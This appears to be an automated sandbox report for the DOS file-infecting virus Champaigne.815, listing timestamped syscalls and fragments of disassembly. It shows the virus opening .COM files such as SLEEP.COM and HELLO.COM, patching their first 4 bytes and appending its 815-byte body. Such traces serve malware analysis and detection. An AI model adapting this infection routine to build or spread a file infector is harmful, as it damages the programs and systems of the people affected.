Sample viewer

vx.netlux.org/Virus.DOS.Champaigne.815

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:05:50.524330575Z 42 PC: 12a61 | Get date 0x12a61: mov byte ptr ds:[bp + 0x3f0], dl
0x12a66: mov byte ptr ds:[bp + 0x3ef], dh
0x12a6b: mov byte ptr ds:[bp + 0x3ee], al
0x12a70: cmp dl, 1
0x12a73: jne 0x12a7b
0x12a75: call 0x12bee
0x12a78: jmp 0x12ac4
0x12a7a: nop
0x12a7b: cmp al, 0
0x12a7d: je 0x12a89
0x12a7f: mov di, 0x100
0x12a82: lea si, word ptr [bp + 0x2f3]
0x12a86: push di
0x12a87: movsw word ptr es:[di], word ptr [si]
0x12a88: movsw word ptr es:[di], word ptr [si]
0x12a89: lea dx, word ptr [bp + 0x433]
0x12a8d: call 0x12b9e
0x12a90: jmp 0x12b89
0x12a93: cmp byte ptr ds:[bp + 0x3f0], 0x1b
0x12a99: jne 0x12aa6
2018-12-17T23:05:50.526318643Z 26 PC: 12ba2 | Set disk transfer address
2018-12-17T23:05:50.528101075Z 78 PC: 12b94 | Find first file
2018-12-17T23:05:50.532957335Z 67 PC: 12aeb | Get or set file attributes
2018-12-17T23:05:50.538686228Z 67 PC: 12c2a | Get or set file attributes
2018-12-17T23:05:50.559613025Z 61 PC: 12c32 | Open file (Filename = 'SLEEP.COM')
2018-12-17T23:05:50.567092459Z 87 PC: 12afb | Get or set file date and time
2018-12-17T23:05:50.569144588Z 63 PC: 12b08 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:05:50.577545353Z 66 PC: 12ba8 | Move file pointer
2018-12-17T23:05:50.579228418Z 66 PC: 12ba8 | Move file pointer
2018-12-17T23:05:50.580824219Z 64 PC: 12be3 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:05:50.584795896Z 66 PC: 12ba8 | Move file pointer
2018-12-17T23:05:50.586823739Z 44 PC: 12b3a | Get time 0x12b3a: mov word ptr ds:[bp + 0x41e], dx
0x12b3f: mov cx, 0x12
0x12b42: lea di, word ptr [bp + 0x45e]
0x12b46: lea si, word ptr [bp + 0x420]
0x12b4a: push cx
0x12b4b: push si
0x12b4c: rep movsb byte ptr es:[di], byte ptr [si]
0x12b4e: cmp byte ptr ds:[bp + 0x3ee], 0
0x12b54: jne 0x12b62
0x12b56: mov cx, 0xd
0x12b59: lea si, word ptr [bp + 0x273]
0x12b5d: rep movsb byte ptr es:[di], byte ptr [si]
0x12b5f: jmp 0x12b6b
0x12b61: nop
0x12b62: mov cx, 0xb
0x12b65: lea si, word ptr [bp + 0x179]
0x12b69: rep movsb byte ptr es:[di], byte ptr [si]
0x12b6b: pop si
0x12b6c: pop cx
0x12b6d: rep movsb byte ptr es:[di], byte ptr [si]
2018-12-17T23:05:50.590275729Z 64 PC: 12dbb | Write file or device (Write 815 bytes on handle 5)
2018-12-17T23:05:50.600591656Z 87 PC: 12b7c | Get or set file date and time
2018-12-17T23:05:50.60967698Z 62 PC: 12b80 | Close file
2018-12-17T23:05:50.618955155Z 67 PC: 12c2a | Get or set file attributes
2018-12-17T23:05:50.630159151Z 79 PC: 12b94 | Find next file
2018-12-17T23:05:50.634633364Z 67 PC: 12aeb | Get or set file attributes
2018-12-17T23:05:50.64136432Z 67 PC: 12c2a | Get or set file attributes
2018-12-17T23:05:50.652355486Z 61 PC: 12c32 | Open file (Filename = 'PRINT.COM')
2018-12-17T23:05:50.667089099Z 87 PC: 12afb | Get or set file date and time
2018-12-17T23:05:50.668996565Z 63 PC: 12b08 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:05:50.676239525Z 87 PC: 12b7c | Get or set file date and time
2018-12-17T23:05:50.67877415Z 62 PC: 12b80 | Close file
2018-12-17T23:05:50.693380193Z 67 PC: 12c2a | Get or set file attributes
2018-12-17T23:05:50.704530399Z 79 PC: 12b94 | Find next file
2018-12-17T23:05:50.708738712Z 67 PC: 12aeb | Get or set file attributes
2018-12-17T23:05:50.71519955Z 67 PC: 12c2a | Get or set file attributes
2018-12-17T23:05:50.727787268Z 61 PC: 12c32 | Open file (Filename = 'HELLO.COM')
2018-12-17T23:05:50.738149051Z 87 PC: 12afb | Get or set file date and time
2018-12-17T23:05:50.740493349Z 63 PC: 12b08 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:05:50.748606724Z 66 PC: 12ba8 | Move file pointer
2018-12-17T23:05:50.75059361Z 66 PC: 12ba8 | Move file pointer
2018-12-17T23:05:50.753278899Z 64 PC: 12be3 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:05:50.756678411Z 66 PC: 12ba8 | Move file pointer
2018-12-17T23:05:50.758662131Z 44 PC: 12b3a | Get time 0x12b3a: mov word ptr ds:[bp + 0x41e], dx
0x12b3f: mov cx, 0x12
0x12b42: lea di, word ptr [bp + 0x45e]
0x12b46: lea si, word ptr [bp + 0x420]
0x12b4a: push cx
0x12b4b: push si
0x12b4c: rep movsb byte ptr es:[di], byte ptr [si]
0x12b4e: cmp byte ptr ds:[bp + 0x3ee], 0
0x12b54: jne 0x12b62
0x12b56: mov cx, 0xd
0x12b59: lea si, word ptr [bp + 0x273]
0x12b5d: rep movsb byte ptr es:[di], byte ptr [si]
0x12b5f: jmp 0x12b6b
0x12b61: nop
0x12b62: mov cx, 0xb
0x12b65: lea si, word ptr [bp + 0x179]
0x12b69: rep movsb byte ptr es:[di], byte ptr [si]
0x12b6b: pop si
0x12b6c: pop cx
0x12b6d: rep movsb byte ptr es:[di], byte ptr [si]
2018-12-17T23:05:50.762258614Z 64 PC: 12dbb | Write file or device (Write 815 bytes on handle 5)
2018-12-17T23:05:50.771708602Z 87 PC: 12b7c | Get or set file date and time
2018-12-17T23:05:50.773777682Z 62 PC: 12b80 | Close file
2018-12-17T23:05:50.783128865Z 67 PC: 12c2a | Get or set file attributes
2018-12-17T23:05:50.793929674Z 79 PC: 12b94 | Find next file
2018-12-17T23:05:50.797153655Z 67 PC: 12aeb | Get or set file attributes
2018-12-17T23:05:50.805290324Z 67 PC: 12c2a | Get or set file attributes
2018-12-17T23:05:50.832349563Z 61 PC: 12c32 | Open file (Filename = 'PHANG.COM')
2018-12-17T23:05:50.839496772Z 87 PC: 12afb | Get or set file date and time
2018-12-17T23:05:50.842189585Z 63 PC: 12b08 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:05:50.84970198Z 87 PC: 12b7c | Get or set file date and time
2018-12-17T23:05:50.851556337Z 62 PC: 12b80 | Close file
2018-12-17T23:05:50.860041581Z 67 PC: 12c2a | Get or set file attributes
2018-12-17T23:05:50.882578827Z 79 PC: 12b94 | Find next file
2018-12-17T23:05:50.887910983Z 67 PC: 12aeb | Get or set file attributes
2018-12-17T23:05:50.899910065Z 67 PC: 12c2a | Get or set file attributes
2018-12-17T23:05:50.914919927Z 61 PC: 12c32 | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T23:05:50.923201428Z 87 PC: 12afb | Get or set file date and time
2018-12-17T23:05:50.925346391Z 63 PC: 12b08 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:05:50.933808994Z 87 PC: 12b7c | Get or set file date and time
2018-12-17T23:05:50.93573223Z 62 PC: 12b80 | Close file
2018-12-17T23:05:50.943625451Z 67 PC: 12c2a | Get or set file attributes
2018-12-17T23:05:50.955843394Z 79 PC: 12b94 | Find next file
2018-12-17T23:05:50.959261802Z 67 PC: 12aeb | Get or set file attributes
2018-12-17T23:05:50.966953063Z 67 PC: 12c2a | Get or set file attributes
2018-12-17T23:05:50.979012508Z 61 PC: 12c32 | Open file (Filename = 'MANDEL.COM')
2018-12-17T23:05:50.993045144Z 87 PC: 12afb | Get or set file date and time
2018-12-17T23:05:50.994960465Z 63 PC: 12b08 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:05:51.003322127Z 66 PC: 12ba8 | Move file pointer
2018-12-17T23:05:51.00528636Z 66 PC: 12ba8 | Move file pointer
2018-12-17T23:05:51.007183397Z 64 PC: 12be3 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:05:51.01032277Z 66 PC: 12ba8 | Move file pointer
2018-12-17T23:05:51.013222682Z 44 PC: 12b3a | Get time 0x12b3a: mov word ptr ds:[bp + 0x41e], dx
0x12b3f: mov cx, 0x12
0x12b42: lea di, word ptr [bp + 0x45e]
0x12b46: lea si, word ptr [bp + 0x420]
0x12b4a: push cx
0x12b4b: push si
0x12b4c: rep movsb byte ptr es:[di], byte ptr [si]
0x12b4e: cmp byte ptr ds:[bp + 0x3ee], 0
0x12b54: jne 0x12b62
0x12b56: mov cx, 0xd
0x12b59: lea si, word ptr [bp + 0x273]
0x12b5d: rep movsb byte ptr es:[di], byte ptr [si]
0x12b5f: jmp 0x12b6b
0x12b61: nop
0x12b62: mov cx, 0xb
0x12b65: lea si, word ptr [bp + 0x179]
0x12b69: rep movsb byte ptr es:[di], byte ptr [si]
0x12b6b: pop si
0x12b6c: pop cx
0x12b6d: rep movsb byte ptr es:[di], byte ptr [si]
2018-12-17T23:05:51.016447726Z 64 PC: 12dbb | Write file or device (Write 815 bytes on handle 5)
2018-12-17T23:05:51.026742503Z 87 PC: 12b7c | Get or set file date and time
2018-12-17T23:05:51.029789372Z 62 PC: 12b80 | Close file
2018-12-17T23:05:51.038636237Z 67 PC: 12c2a | Get or set file attributes
2018-12-17T23:05:51.050864018Z 79 PC: 12b94 | Find next file
2018-12-17T23:05:51.055014903Z 67 PC: 12aeb | Get or set file attributes
2018-12-17T23:05:51.063123329Z 67 PC: 12c2a | Get or set file attributes
2018-12-17T23:05:51.074839548Z 61 PC: 12c32 | Open file (Filename = 'PAH.COM')
2018-12-17T23:05:51.083649693Z 87 PC: 12afb | Get or set file date and time
2018-12-17T23:05:51.086049576Z 63 PC: 12b08 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:05:51.093924443Z 87 PC: 12b7c | Get or set file date and time
2018-12-17T23:05:51.09588004Z 62 PC: 12b80 | Close file
2018-12-17T23:05:51.105436268Z 67 PC: 12c2a | Get or set file attributes
2018-12-17T23:05:51.118963342Z 79 PC: 12b94 | Find next file
2018-12-17T23:05:51.122208334Z 67 PC: 12aeb | Get or set file attributes
2018-12-17T23:05:51.129659314Z 67 PC: 12c2a | Get or set file attributes
2018-12-17T23:05:51.1406347Z 61 PC: 12c32 | Open file (Filename = 'TEST.COM')
2018-12-17T23:05:51.14833566Z 87 PC: 12afb | Get or set file date and time
2018-12-17T23:05:51.150974642Z 63 PC: 12b08 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:05:51.158229854Z 87 PC: 12b7c | Get or set file date and time
2018-12-17T23:05:51.160402449Z 62 PC: 12b80 | Close file
2018-12-17T23:05:51.169064366Z 67 PC: 12c2a | Get or set file attributes
2018-12-17T23:05:51.180194323Z 79 PC: 12b94 | Find next file
2018-12-17T23:05:51.183471284Z 26 PC: 12ba2 | Set disk transfer address